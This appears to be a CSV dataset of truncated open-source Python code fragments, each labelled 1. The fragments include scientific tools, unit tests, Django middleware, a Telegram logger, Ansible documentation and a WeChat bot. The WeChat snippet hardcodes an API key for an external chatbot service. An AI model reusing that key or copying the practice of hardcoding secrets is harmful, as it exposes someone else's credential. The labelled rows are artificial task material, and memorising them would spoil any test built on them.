prompt,target "bject): def __init__(self, function): self.function = function def __ror__(self, other): return Infix(lambda x: self.function(other, x)) def __or__(self, other): return self.function(other) def __rlshift__(self, other): return Infix(lambda x, self=self, other=other: self.function(other, x)) def __rshift__(self, other): return self.function(other) def __call__(self, value1, value2): return self.function(value1, value2) # To create a binary operator just make a function that takes 2 arguments like say # def my_add (a, b): # return a + b # # Then we get import this... # from Infix import Infix # Lets us make binary infix style operators # # Then we make the operator, lets call it p... # p = Infix(my_add) # # Now to use it just put in # arg1 |p| arg2 ",1 "r@gmail.com) # Copyright (C) 2014-2019 GSECARS, University of Chicago, USA # Copyright (C) 2015-2018 Institute for Geology and Mineralogy, University of Cologne, Germany # Copyright (C) 2019-2020 DESY, Hamburg, Germany # # This program is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program. If not, see . from ....model.util.HelperModule import get_partial_index # imports for type hinting in PyCharm -- DO NOT DELETE from ....model.DioptasModel import DioptasModel from ....widgets.integration import IntegrationWidget from ....widgets.plot_widgets.ImgWidget import IntegrationImgWidget class PhaseInCakeController(object): """""" PhaseInCakeController handles all the interaction between the phase controls and the plotted lines in the cake view. """""" def __init__(self, integration_widget, dioptas_model): """""" :param integration_widget: Reference to an IntegrationWidget :param dioptas_model: reference to DioptasModel object :type integration_widget: IntegrationWidget :type dioptas_model: DioptasModel """""" self.model = dioptas_model self.phase_model = self.model.phase_model self.integration_widget = integration_widget self.cake_view_widget = integration_widget.integration_image_widget.cake_view # type: IntegrationImgWidget self.connect() def connect(self): self.phase_model.phase_added.connect(self.add_phase_plot) self.model.phase_model.phase_removed.connect(self.cake_view_widget.del_cake_phase) self.phase_model.phase_changed.connect(self.update_phase_lines) self.phase_model.phase_changed.connect(self.update_phase_color) self.phase_model.phase_changed.connect(self.update_phase_visible) self.phase_model.reflection_added.connect(self.reflection_added) self.phase_model.reflection_deleted.connect(self.reflection_deleted) def get_phase_position_and_intensities(self, ind, clip=True): """""" Obtains the positions and intensities for lines of a phase with an index ind within the cake view. No clipping is used for the first call to add the CakePhasePlot to the ImgWidget. Subsequent calls are used with clipping. Thus, only lines within the cake_tth are returned. The visibility of each line is then estimated in the ImgWidget based on the length of the clipped and not clipped lists. :param ind: the index of the phase :param clip: whether or not the lists should be clipped. Clipped means that lines which have positions larger than the :return: line_positions, line_intensities """""" if self.model.cake_tth is None: cake_tth = self.model.calibration_model.tth else: cake_tth = self.model.cake_tth reflections_tth = self.phase_model.get_phase_line_positions(ind, 'tth', self.model.calibration_model.wavelength * 1e10) reflections_intensities = [reflex[1] for reflex in self.phase_model.reflections[ind]] cake_line_positions = [] cake_line_intensities = [] for ind, tth in enumerate(reflections_tth): pos_ind = get_partial_index(cake_tth, tth) if pos_ind is not None: cake_line_positions.append(pos_ind + 0.5) cake_line_intensities.append(reflections_intensities[ind]) elif clip is False: cake_line_positions.append(0) cake_line_intensities.append(reflections_intensities[ind]) return cake_line_positions, cake_line_intensities def add_phase_plot(self): cake_line_positions, cake_line_intensities = self.get_phase_position_and_intensities(-1, False) self.cake_view_widget.add_cake_phase(cake_line_positions, cake_line_intensities, self.phase_model.phase_colors[-1]) def update_phase_lines(self, ind): cake_line_positions, cake_line_intensities = self.get_phase_position_and_intensities(ind) self.cake_view_widget.update_phase_intensities(ind, cake_line_positions, cake_line_intensities) def update_phase_color(self, ind): self.cake_view_widget.set_cake_phase_color(ind, self.model.phase_model.phase_colors[ind]) def update_phase_visible(self, ind): if self.phase_model.phase_visible[ind] and self.integration_widget.img_mode == 'Cake' and \ self.integration_widget.img_phases_btn.isChecked(): self.cake_view_widget.show_cake_phase(ind) else: self.cake_view_widget.hide_cake_phase(ind) def reflection_added(self, ind): self.cake_view_widget.phases[ind].add_line() def reflection_deleted(self, phase_ind, reflection_ind): self.cake_view_widget.phases[phase_ind].delete_line(reflection_ind) ",1 "greater, assert_less_equal, assert_greater_equal, assert_warns, assert_no_warnings, assert_equal, set_random_state, assert_raise_message) from sklearn.tree import DecisionTreeClassifier from sklearn.lda import LDA try: from nose.tools import assert_less def test_assert_less(): # Check that the nose implementation of assert_less gives the # same thing as the scikit's assert_less(0, 1) _assert_less(0, 1) assert_raises(AssertionError, assert_less, 1, 0) assert_raises(AssertionError, _assert_less, 1, 0) except ImportError: pass try: from nose.tools import assert_greater def test_assert_greater(): # Check that the nose implementation of assert_less gives the # same thing as the scikit's assert_greater(1, 0) _assert_greater(1, 0) assert_raises(AssertionError, assert_greater, 0, 1) assert_raises(AssertionError, _assert_greater, 0, 1) except ImportError: pass def test_assert_less_equal(): assert_less_equal(0, 1) assert_less_equal(1, 1) assert_raises(AssertionError, assert_less_equal, 1, 0) def test_assert_greater_equal(): assert_greater_equal(1, 0) assert_greater_equal(1, 1) assert_raises(AssertionError, assert_greater_equal, 0, 1) def test_set_random_state(): lda = LDA() tree = DecisionTreeClassifier() # LDA doesn't have random state: smoke test set_random_state(lda, 3) set_random_state(tree, 3) assert_equal(tree.random_state, 3) def test_assert_raise_message(): def _raise_ValueError(message): raise ValueError(message) assert_raise_message(ValueError, ""test"", _raise_ValueError, ""test"") assert_raises(AssertionError, assert_raise_message, ValueError, ""something else"", _raise_ValueError, ""test"") assert_raises(ValueError, assert_raise_message, TypeError, ""something else"", _raise_ValueError, ""test"") # This class is inspired from numpy 1.7 with an alteration to check # the reset warning filters after calls to assert_warns. # This assert_warns behavior is specific to scikit-learn because #`clean_warning_registry()` is called internally by assert_warns # and clears all previous filters. class TestWarns(unittest.TestCase): def test_warn(self): def f(): warnings.warn(""yo"") return 3 # Test that assert_warns is not impacted by externally set # filters and is reset internally. # This is because `clean_warning_registry()` is called internally by # assert_warns and clears all previous filters. warnings.simplefilter(""ignore"", UserWarning) assert_equal(assert_warns(UserWarning, f), 3) # Test that the warning registry is empty after assert_warns assert_equal(sys.modules['warnings'].filters, []) assert_raises(AssertionError, assert_no_warnings, f) assert_equal(assert_no_warnings(lambda x: x, 1), 1) def test_warn_wrong_warning(self): def f(): warnings.warn(""yo"", DeprecationWarning) failed = False filters = sys.modules['warnings'].filters[:] try: try: # Should raise an AssertionError assert_warns(UserWarning, f) failed = True except AssertionError: pass finally: sys.modules['warnings'].filters = filters if failed: raise AssertionError(""wrong warning caught by assert_warn"") ",1 "ead of polylines This version requires matplotlib, but there is another one, isobands_gdal.py that uses only GDAL python Originally created by Roger Veciana i Rovira, made available via his blog post http://geoexamples.blogspot.com.au/2013/08/creating-vectorial-isobands-with-python.html and on Github at https://github.com/rveciana/geoexamples/tree/master/python/raster_isobands ''' from numpy import arange from numpy import meshgrid from osgeo import ogr from osgeo import gdal from osgeo import osr from math import floor from math import ceil from os.path import exists from os import remove from argparse import ArgumentParser import matplotlib.pyplot as plt def str2bool(v): return v.lower() in (""yes"", ""true"", ""t"", ""1"") def isobands(in_file, band, out_file, out_format, layer_name, attr_name, offset, interval, min_level = None, upper_val_output = False): ''' The method that calculates the isobands ''' ds_in = gdal.Open(in_file) band_in = ds_in.GetRasterBand(band) xsize_in = band_in.XSize ysize_in = band_in.YSize geotransform_in = ds_in.GetGeoTransform() srs = osr.SpatialReference() srs.ImportFromWkt( ds_in.GetProjectionRef() ) #Creating the output vectorial file drv = ogr.GetDriverByName(out_format) if exists(out_file): remove(out_file) dst_ds = drv.CreateDataSource( out_file ) dst_layer = dst_ds.CreateLayer(layer_name, geom_type = ogr.wkbPolygon, srs = srs) fdef = ogr.FieldDefn( attr_name, ogr.OFTReal ) dst_layer.CreateField( fdef ) # Use the geotransform pixel size value to avoid weird rounding errors in # original approach. x_pos = [geotransform_in[0]+geotransform_in[1]*ii \ for ii in range(xsize_in)] y_pos = [geotransform_in[3]+geotransform_in[5]*ii \ for ii in range(ysize_in)] #x_pos = arange(geotransform_in[0], # geotransform_in[0] + xsize_in*geotransform_in[1], geotransform_in[1]) #y_pos = arange(geotransform_in[3], # geotransform_in[3] + ysize_in*geotransform_in[5], geotransform_in[5]) x_grid, y_grid = meshgrid(x_pos, y_pos) raster_values = band_in.ReadAsArray(0, 0, xsize_in, ysize_in) #stats = band_in.GetStatistics(True, True) min_value, max_value = band_in.ComputeRasterMinMax() if min_level == None: #min_value = stats[0] min_level = offset + interval * floor((min_value - offset)/interval) #max_value = stats[1] #Due to range issues, a level is added max_level = offset + interval * (1 + ceil((max_value - offset)/interval)) levels = arange(min_level, max_level, interval) contours = plt.contourf(x_grid, y_grid, raster_values, levels) for level in range(len(contours.collections)): paths = contours.collections[level].get_paths() for path in paths: feat_out = ogr.Feature( dst_layer.GetLayerDefn()) if upper_val_output: out_val = contours.levels[level] + interval else: out_val = contours.levels[level] feat_out.SetField( attr_name, out_val ) pol = ogr.Geometry(ogr.wkbPolygon) ring = None for i in range(len(path.vertices)): point = path.vertices[i] if path.codes[i] == 1: if ring != None: pol.AddGeometry(ring) ring = ogr.Geometry(ogr.wkbLinearRing) ring.AddPoint_2D(point[0], point[1]) pol.AddGeometry(ring) feat_out.SetGeometry(pol) if dst_layer.CreateFeature(feat_out) != 0: print ""Failed to create feature in shapefile.\n"" exit( 1 ) feat_out.Destroy() if __name__ == ""__main__"": PARSER = ArgumentParser( description=""Calculates the isobands from a raster into a vector file"") PARSER.add_argument(""src_file"", help=""The raster source file"") PARSER.add_argument(""out_file"", help=""The vectorial out file"") PARSER.add_argument(""-b"", help=""The band in the source file to process (default 1)"", type=int, default = 1, metavar = 'band') PARSER.add_argument(""-off"", help=""The offset to start the isobands (default 0)"", type=float, default = 0.0, metavar = 'offset') PARSER.add_argument(""-i"", help=""The interval (default 0)"", type=float, default = 0.0, metavar = 'interval') PARSER.add_argument(""-nln"", help=""The out layer name (default bands)"", default = 'bands', metavar = 'layer_name') PARSER.add_argument(""-a"", help=""The out layer attribute name (default h)"", default = 'h', metavar = 'attr_name') PARSER.add_argument(""-f"", help=""The output file format name (default ESRI Shapefile)"", default = 'ESRI Shapefile', metavar = 'formatname') PARSER.add_argument(""-up"", help=""In the output file, whether to use the upper value of an "" ""isoband, as value name for polygons, rather than lower."", default = ""False"", metavar='upper_val_output') ARGS = PARSER.parse_args() isobands(ARGS.src_file, ARGS.b, ARGS.out_file, ARGS.f, ARGS.nln, ARGS.a, ARGS.off, ARGS.i, upper_val_output=str2bool(ARGS.up)) ",1 "olivier@tilloy.net> # # This file is part of the pyexiv2 distribution. # # pyexiv2 is free software; you can redistribute it and/or # modify it under the terms of the GNU General Public License # as published by the Free Software Foundation; either version 2 # of the License, or (at your option) any later version. # # pyexiv2 is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with pyexiv2; if not, write to the Free Software # Foundation, Inc., 51 Franklin Street, 5th Floor, Boston, MA 02110-1301 USA. # # Author: Olivier Tilloy # # ****************************************************************************** import unittest from pyexiv2.utils import Rational class TestRational(unittest.TestCase): def test_constructor(self): r = Rational(2, 1) self.assertEqual(r.numerator, 2) self.assertEqual(r.denominator, 1) self.assertRaises(ZeroDivisionError, Rational, 1, 0) def test_read_only(self): r = Rational(3, 4) try: r.numerator = 5 except AttributeError: pass else: self.fail('Numerator is not read-only.') try: r.denominator = 5 except AttributeError: pass else: self.fail('Denominator is not read-only.') def test_match_string(self): self.assertEqual(Rational.match_string('4/3'), (4, 3)) self.assertEqual(Rational.match_string('-4/3'), (-4, 3)) self.assertEqual(Rational.match_string('0/3'), (0, 3)) self.assertEqual(Rational.match_string('0/0'), (0, 0)) self.assertRaises(ValueError, Rational.match_string, '+3/5') self.assertRaises(ValueError, Rational.match_string, '3 / 5') self.assertRaises(ValueError, Rational.match_string, '3/-5') self.assertRaises(ValueError, Rational.match_string, 'invalid') def test_from_string(self): self.assertEqual(Rational.from_string('4/3'), Rational(4, 3)) self.assertEqual(Rational.from_string('-4/3'), Rational(-4, 3)) self.assertRaises(ValueError, Rational.from_string, '+3/5') self.assertRaises(ValueError, Rational.from_string, '3 / 5') self.assertRaises(ValueError, Rational.from_string, '3/-5') self.assertRaises(ValueError, Rational.from_string, 'invalid') self.assertRaises(ZeroDivisionError, Rational.from_string, '1/0') self.assertRaises(ZeroDivisionError, Rational.from_string, '0/0') def test_to_string(self): self.assertEqual(str(Rational(3, 5)), '3/5') self.assertEqual(str(Rational(-3, 5)), '-3/5') def test_repr(self): self.assertEqual(repr(Rational(3, 5)), 'Rational(3, 5)') self.assertEqual(repr(Rational(-3, 5)), 'Rational(-3, 5)') self.assertEqual(repr(Rational(0, 3)), 'Rational(0, 3)') def test_to_float(self): self.assertEqual(Rational(3, 6).to_float(), 0.5) self.assertEqual(Rational(11, 11).to_float(), 1.0) self.assertEqual(Rational(-2, 8).to_float(), -0.25) self.assertEqual(Rational(0, 3).to_float(), 0.0) def test_equality(self): r1 = Rational(2, 1) r2 = Rational(2, 1) r3 = Rational(8, 4) r4 = Rational(3, 2) self.assertEqual(r1, r2) self.assertEqual(r1, r3) self.assertNotEqual(r1, r4) ",1 " if not hasattr(request, '_cached_user'): request._cached_user = mongo_auth_get_user(request) return request._cached_user class AuthenticationMiddleware(object): def process_request(self, request): assert hasattr(request, 'session'), ( ""The Django authentication middleware requires session middleware "" ""to be installed. Edit your MIDDLEWARE_CLASSES setting to insert "" ""'django.contrib.sessions.middleware.SessionMiddleware' before "" ""'django.contrib.auth.middleware.AuthenticationMiddleware'."" ) request.user = SimpleLazyObject(lambda: get_user(request)) class SessionAuthenticationMiddleware(object): """""" Formerly, a middleware for invalidating a user's sessions that don't correspond to the user's current session authentication hash. However, it caused the ""Vary: Cookie"" header on all responses. Now a backwards compatibility shim that enables session verification in auth.get_user() if this middleware is in MIDDLEWARE_CLASSES. """""" def process_request(self, request): pass",1 " log_message(msg): #log format: time type message time_str = str(time.time()) line = time_str[:time_str.find(""."")] line = line.rjust(10, str("" "")) line += "" "" busses.status_bus[""latest_messages""][msg.chat_id] = msg msg_type = helper.get_message_type(msg) if msg_type == ""text"" and msg.text.startswith(""/""): msg_type = ""command"" appendix = ""ERROR"" if msg_type == ""text"": appendix = msg.text elif msg_type == ""command"": appendix = msg.text[1:] elif msg_type == ""location"": location_data = msg.location.to_dict() appendix = str(location_data[""latitude""]) + ""°, "" + str(location_data[""longitude""]) + ""°"" elif msg_type == ""contact"": appendix = str(msg.contact.user_id) + "" "" + msg.contact.first_name + "" "" + msg.contact.last_name elif msg_type == ""new_user"": appendix = str(msg.new_chat_member.id) + "" "" + str(msg.new_chat_member.first_name) + "" "" + str(msg.new_chat_member.last_name) elif msg_type in [""audio"", ""document"", ""game"", ""photo"", ""sticker"", ""video"", ""voice"", ""video_note"", ""unknown""]: appendix = """" msg_type = msg_type.rjust(10, str("" "")) appendix = appendix.replace(""\n"", ""\\n"").rjust(40, str("" "")) line += msg_type + "" "" + appendix + "" "" line += str(msg.chat_id) + "","" + str(msg.message_id) line += ""\n"" with open(config.msg_log_file_path, ""a"") as log_file: log_file.write(line.encode(""utf-8"")) def complete_log(update): with open(config.complete_log_file_path, ""a"") as log_file: data = update.to_dict() data.update({""time"": time.time()}) json_data = json.dumps(data) log_file.write(str(json_data).replace(""\n"", ""\\n"") + ""\n"".encode(""utf-8"")) ",1 "wechatService.py # Description: # :copyright: (c) 2015 by Pegasus Wang. # :license: MIT, see LICENSE for more details. """""" import json import time import urllib import urllib2 from wechatUtil import MessageUtil from wechatReply import TextReply class RobotService(object): """"""Auto reply robot service"""""" KEY = 'd92d20bc1d8bb3cff585bf746603b2a9' url = 'http://www.tuling123.com/openapi/api' @staticmethod def auto_reply(req_info): query = {'key': RobotService.KEY, 'info': req_info.encode('utf-8')} headers = {'Content-type': 'text/html', 'charset': 'utf-8'} data = urllib.urlencode(query) req = urllib2.Request(RobotService.url, data) f = urllib2.urlopen(req).read() return json.loads(f).get('text').replace('
', '\n') #return json.loads(f).get('text') class WechatService(object): """"""process request"""""" @staticmethod def processRequest(request): """"""process different message types. :param request: post request message :return: None """""" requestMap = MessageUtil.parseXml(request) fromUserName = requestMap.get(u'FromUserName') toUserName = requestMap.get(u'ToUserName') createTime = requestMap.get(u'CreateTime') msgType = requestMap.get(u'MsgType') msgId = requestMap.get(u'MsgId') textReply = TextReply() textReply.setToUserName(fromUserName) textReply.setFromUserName(toUserName) textReply.setCreateTime(time.time()) textReply.setMsgType(MessageUtil.RESP_MESSAGE_TYPE_TEXT) if msgType == MessageUtil.REQ_MESSAGE_TYPE_TEXT: content = requestMap.get('Content').decode('utf-8') # note: decode first #respContent = u'您发送的是文本消息:' + content respContent = RobotService.auto_reply(content) elif msgType == MessageUtil.REQ_MESSAGE_TYPE_IMAGE: respContent = u'您发送的是图片消息!' elif msgType == MessageUtil.REQ_MESSAGE_TYPE_VOICE: respContent = u'您发送的是语音消息!' elif msgType == MessageUtil.REQ_MESSAGE_TYPE_VIDEO: respContent = u'您发送的是视频消息!' elif msgType == MessageUtil.REQ_MESSAGE_TYPE_LOCATION: respContent = u'您发送的是地理位置消息!' elif msgType == MessageUtil.REQ_MESSAGE_TYPE_LINK: respContent = u'您发送的是链接消息!' elif msgType == MessageUtil.REQ_MESSAGE_TYPE_EVENT: eventType = requestMap.get(u'Event') if eventType == MessageUtil.EVENT_TYPE_SUBSCRIBE: respContent = u'^_^谢谢您的关注,本公众号由王宁宁开发(python2.7+django1.4),如果你有兴趣继续开发,' \ u'可以联系我,就当打发时间了.' elif eventType == MessageUtil.EVENT_TYPE_UNSUBSCRIBE: pass elif eventType == MessageUtil.EVENT_TYPE_SCAN: # TODO pass elif eventType == MessageUtil.EVENT_TYPE_LOCATION: # TODO pass elif eventType == MessageUtil.EVENT_TYPE_CLICK: # TODO pass textReply.setContent(respContent) respXml = MessageUtil.class2xml(textReply) return respXml """""" if msgType == 'text': content = requestMap.get('Content') # TODO elif msgType == 'image': picUrl = requestMap.get('PicUrl') # TODO elif msgType == 'voice': mediaId = requestMap.get('MediaId') format = requestMap.get('Format') # TODO elif msgType == 'video': mediaId = requestMap.get('MediaId') thumbMediaId = requestMap.get('ThumbMediaId') # TODO elif msgType == 'location': lat = requestMap.get('Location_X') lng = requestMap.get('Location_Y') label = requestMap.get('Label') scale = requestMap.get('Scale') # TODO elif msgType == 'link': title = requestMap.get('Title') description = requestMap.get('Description') url = requestMap.get('Url') """""" ",1 "contador da posição do numero, se é o primeiro, segundo etc; v = 5#representaria o len da lista; while(cont1 < v): x = int(input(""Informe o %dº numero inteiro para colocar em sua lista:\n""%cont2))#x e a variavel que recebe #o numero do usuario lista.append(x)#o numero informado para x e colocado dentro da lista; cont1+=1#Os contadores estao cont2+=1#sendo incrementados; print(""A lista de informada foi:\n%s""%lista) ",1 "from test import get_collector_config from test import unittest from mock import Mock from mock import patch try: from cStringIO import StringIO StringIO # workaround for pyflakes issue #13 except ImportError: from StringIO import StringIO from diamond.collector import Collector from filestat import FilestatCollector ################################################################################ class TestFilestatCollector(CollectorTestCase): def setUp(self): config = get_collector_config('FilestatCollector', { 'interval': 10 }) self.collector = FilestatCollector(config, None) def test_import(self): self.assertTrue(FilestatCollector) @patch('__builtin__.open') @patch('os.access', Mock(return_value=True)) @patch.object(Collector, 'publish') def test_should_open_proc_sys_fs_file_nr(self, publish_mock, open_mock): open_mock.return_value = StringIO('') self.collector.collect() open_mock.assert_called_once_with('/proc/sys/fs/file-nr') @patch.object(Collector, 'publish') def test_should_work_with_real_data(self, publish_mock): FilestatCollector.PROC = self.getFixturePath('proc_sys_fs_file-nr') self.collector.collect() metrics = { 'assigned': 576, 'unused': 0, 'max': 4835852 } self.setDocExample(collector=self.collector.__class__.__name__, metrics=metrics, defaultpath=self.collector.config['path']) self.assertPublishedMany(publish_mock, metrics) ################################################################################ if __name__ == ""__main__"": unittest.main() ",1 "rg/licenses/gpl-3.0.txt) # This is a virtual module that is entirely implemented as an action plugin and runs on the controller from __future__ import absolute_import, division, print_function __metaclass__ = type DOCUMENTATION = r''' --- module: fetch short_description: Fetch files from remote nodes description: - This module works like M(copy), but in reverse. - It is used for fetching files from remote machines and storing them locally in a file tree, organized by hostname. - Files that already exist at I(dest) will be overwritten if they are different than the I(src). - This module is also supported for Windows targets. version_added: '0.2' options: src: description: - The file on the remote system to fetch. - This I(must) be a file, not a directory. - Recursive fetching may be supported in a later release. required: yes dest: description: - A directory to save the file into. - For example, if the I(dest) directory is C(/backup) a I(src) file named C(/etc/profile) on host C(host.example.com), would be saved into C(/backup/host.example.com/etc/profile). The host name is based on the inventory name. required: yes fail_on_missing: version_added: '1.1' description: - When set to C(yes), the task will fail if the remote file cannot be read for any reason. - Prior to Ansible 2.5, setting this would only fail if the source file was missing. - The default was changed to C(yes) in Ansible 2.5. type: bool default: yes validate_checksum: version_added: '1.4' description: - Verify that the source and destination checksums match after the files are fetched. type: bool default: yes flat: version_added: '1.2' description: - Allows you to override the default behavior of appending hostname/path/to/file to the destination. - If C(dest) ends with '/', it will use the basename of the source file, similar to the copy module. - This can be useful if working with a single host, or if retrieving files that are uniquely named per host. - If using multiple hosts with the same filename, the file will be overwritten for each host. type: bool default: no notes: - When running fetch with C(become), the M(slurp) module will also be used to fetch the contents of the file for determining the remote checksum. This effectively doubles the transfer size, and depending on the file size can consume all available memory on the remote or local hosts causing a C(MemoryError). Due to this it is advisable to run this module without C(become) whenever possible. - Prior to Ansible 2.5 this module would not fail if reading the remote file was impossible unless C(fail_on_missing) was set. - In Ansible 2.5 or later, playbook authors are encouraged to use C(fail_when) or C(ignore_errors) to get this ability. They may also explicitly set C(fail_on_missing) to C(no) to get the non-failing behaviour. - This module is also supported for Windows targets. seealso: - module: copy - module: slurp author: - Ansible Core Team - Michael DeHaan ''' EXAMPLES = r''' - name: Store file into /tmp/fetched/host.example.com/tmp/somefile fetch: src: /tmp/somefile dest: /tmp/fetched - name: Specifying a path directly fetch: src: /tmp/somefile dest: /tmp/prefix-{{ inventory_hostname }} flat: yes - name: Specifying a destination path fetch: src: /tmp/uniquefile dest: /tmp/special/ flat: yes - name: Storing in a path relative to the playbook fetch: src: /tmp/uniquefile dest: special/prefix-{{ inventory_hostname }} flat: yes ''' ",1 "import AdminSite from django.http import HttpRequest import mock from course_creators.admin import CourseCreatorAdmin from course_creators.models import CourseCreator from django.core import mail from student.roles import CourseCreatorRole from student import auth def mock_render_to_string(template_name, context): """"""Return a string that encodes template_name and context"""""" return str((template_name, context)) class CourseCreatorAdminTest(TestCase): """""" Tests for course creator admin. """""" def setUp(self): """""" Test case setup """""" super(CourseCreatorAdminTest, self).setUp() self.user = User.objects.create_user('test_user', 'test_user+courses@edx.org', 'foo') self.table_entry = CourseCreator(user=self.user) self.table_entry.save() self.admin = User.objects.create_user('Mark', 'admin+courses@edx.org', 'foo') self.admin.is_staff = True self.request = HttpRequest() self.request.user = self.admin self.creator_admin = CourseCreatorAdmin(self.table_entry, AdminSite()) self.studio_request_email = 'mark@marky.mark' self.enable_creator_group_patch = { ""ENABLE_CREATOR_GROUP"": True, ""STUDIO_REQUEST_EMAIL"": self.studio_request_email } @mock.patch('course_creators.admin.render_to_string', mock.Mock(side_effect=mock_render_to_string, autospec=True)) @mock.patch('django.contrib.auth.models.User.email_user') def test_change_status(self, email_user): """""" Tests that updates to state impact the creator group maintained in authz.py and that e-mails are sent. """""" def change_state_and_verify_email(state, is_creator): """""" Changes user state, verifies creator status, and verifies e-mail is sent based on transition """""" self._change_state(state) self.assertEqual(is_creator, auth.user_has_role(self.user, CourseCreatorRole())) context = {'studio_request_email': self.studio_request_email} if state == CourseCreator.GRANTED: template = 'emails/course_creator_granted.txt' elif state == CourseCreator.DENIED: template = 'emails/course_creator_denied.txt' else: template = 'emails/course_creator_revoked.txt' email_user.assert_called_with( mock_render_to_string('emails/course_creator_subject.txt', context), mock_render_to_string(template, context), self.studio_request_email ) with mock.patch.dict('django.conf.settings.FEATURES', self.enable_creator_group_patch): # User is initially unrequested. self.assertFalse(auth.user_has_role(self.user, CourseCreatorRole())) change_state_and_verify_email(CourseCreator.GRANTED, True) change_state_and_verify_email(CourseCreator.DENIED, False) change_state_and_verify_email(CourseCreator.GRANTED, True) change_state_and_verify_email(CourseCreator.PENDING, False) change_state_and_verify_email(CourseCreator.GRANTED, True) change_state_and_verify_email(CourseCreator.UNREQUESTED, False) change_state_and_verify_email(CourseCreator.DENIED, False) @mock.patch('course_creators.admin.render_to_string', mock.Mock(side_effect=mock_render_to_string, autospec=True)) def test_mail_admin_on_pending(self): """""" Tests that the admin account is notified when a user is in the 'pending' state. """""" def check_admin_message_state(state, expect_sent_to_admin, expect_sent_to_user): """""" Changes user state and verifies e-mail sent to admin address only when pending. """""" mail.outbox = [] self._change_state(state) # If a message is sent to the user about course creator status change, it will be the first # message sent. Admin message will follow. base_num_emails = 1 if expect_sent_to_user else 0 if expect_sent_to_admin: context = {'user_name': ""test_user"", 'user_email': u'test_user+courses@edx.org'} self.assertEquals(base_num_emails + 1, len(mail.outbox), 'Expected admin message to be sent') sent_mail = mail.outbox[base_num_emails] self.assertEquals( mock_render_to_string('emails/course_creator_admin_subject.txt', context), sent_mail.subject ) self.assertEquals( mock_render_to_string('emails/course_creator_admin_user_pending.txt', context), sent_mail.body ) self.assertEquals(self.studio_request_email, sent_mail.from_email) self.assertEqual([self.studio_request_email], sent_mail.to) else: self.assertEquals(base_num_emails, len(mail.outbox)) with mock.patch.dict('django.conf.settings.FEATURES', self.enable_creator_group_patch): # E-mail message should be sent to admin only when new state is PENDING, regardless of what # previous state was (unless previous state was already PENDING). # E-mail message sent to user only on transition into and out of GRANTED state. check_admin_message_state(CourseCreator.UNREQUESTED, expect_sent_to_admin=False, expect_sent_to_user=False) check_admin_message_state(CourseCreator.PENDING, expect_sent_to_admin=True, expect_sent_to_user=False) check_admin_message_state(CourseCreator.GRANTED, expect_sent_to_admin=False, expect_sent_to_user=True) check_admin_message_state(CourseCreator.DENIED, expect_sent_to_admin=False, expect_sent_to_user=True) check_admin_message_state(CourseCreator.GRANTED, expect_sent_to_admin=False, expect_sent_to_user=True) check_admin_message_state(CourseCreator.PENDING, expect_sent_to_admin=True, expect_sent_to_user=True) check_admin_message_state(CourseCreator.PENDING, expect_sent_to_admin=False, expect_sent_to_user=False) check_admin_message_state(CourseCreator.DENIED, expect_sent_to_admin=False, expect_sent_to_user=True) def _change_state(self, state): """""" Helper method for changing state """""" self.table_entry.state = state self.creator_admin.save_model(self.request, self.table_entry, None, True) def test_add_permission(self): """""" Tests that staff cannot add entries """""" self.assertFalse(self.creator_admin.has_add_permission(self.request)) def test_delete_permission(self): """""" Tests that staff cannot delete entries """""" self.assertFalse(self.creator_admin.has_delete_permission(self.request)) def test_change_permission(self): """""" Tests that only staff can change entries """""" self.assertTrue(self.creator_admin.has_change_permission(self.request)) self.request.user = self.user self.assertFalse(self.creator_admin.has_change_permission(self.request)) ",1 "odification, are permitted provided that the following conditions are # met: # # * Redistributions of source code must retain the above copyright # notice, this list of conditions and the following disclaimer. # * Redistributions in binary form must reproduce the above # copyright notice, this list of conditions and the following disclaimer # in the documentation and/or other materials provided with the # distribution. # THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS # ""AS IS"" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT # LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR # A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT # OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, # SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT # LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, # DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY # THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT # (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE # OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. import unittest from webkitpy.common import lru_cache class LRUCacheTest(unittest.TestCase): def setUp(self): self.lru = lru_cache.LRUCache(3) self.lru['key_1'] = 'item_1' self.lru['key_2'] = 'item_2' self.lru['key_3'] = 'item_3' self.lru2 = lru_cache.LRUCache(1) self.lru2['key_1'] = 'item_1' def test_items(self): self.assertEqual(set(self.lru.items()), set([('key_1', 'item_1'), ('key_3', 'item_3'), ('key_2', 'item_2')])) def test_put(self): self.lru['key_4'] = 'item_4' self.assertEqual(set(self.lru.items()), set([('key_4', 'item_4'), ('key_3', 'item_3'), ('key_2', 'item_2')])) def test_update(self): self.lru['key_1'] self.lru['key_5'] = 'item_5' self.assertEqual(set(self.lru.items()), set([('key_1', 'item_1'), ('key_3', 'item_3'), ('key_5', 'item_5')])) def test_keys(self): self.assertEqual(set(self.lru.keys()), set(['key_1', 'key_2', 'key_3'])) def test_delete(self): del self.lru['key_1'] self.assertFalse('key_1' in self.lru) def test_contain(self): self.assertTrue('key_1' in self.lru) self.assertFalse('key_4' in self.lru) def test_values(self): self.assertEqual(set(self.lru.values()), set(['item_1', 'item_2', 'item_3'])) def test_len(self): self.assertEqual(len(self.lru), 3) def test_size_one_pop(self): self.lru2['key_2'] = 'item_2' self.assertEqual(self.lru2.keys(), ['key_2']) def test_size_one_delete(self): del 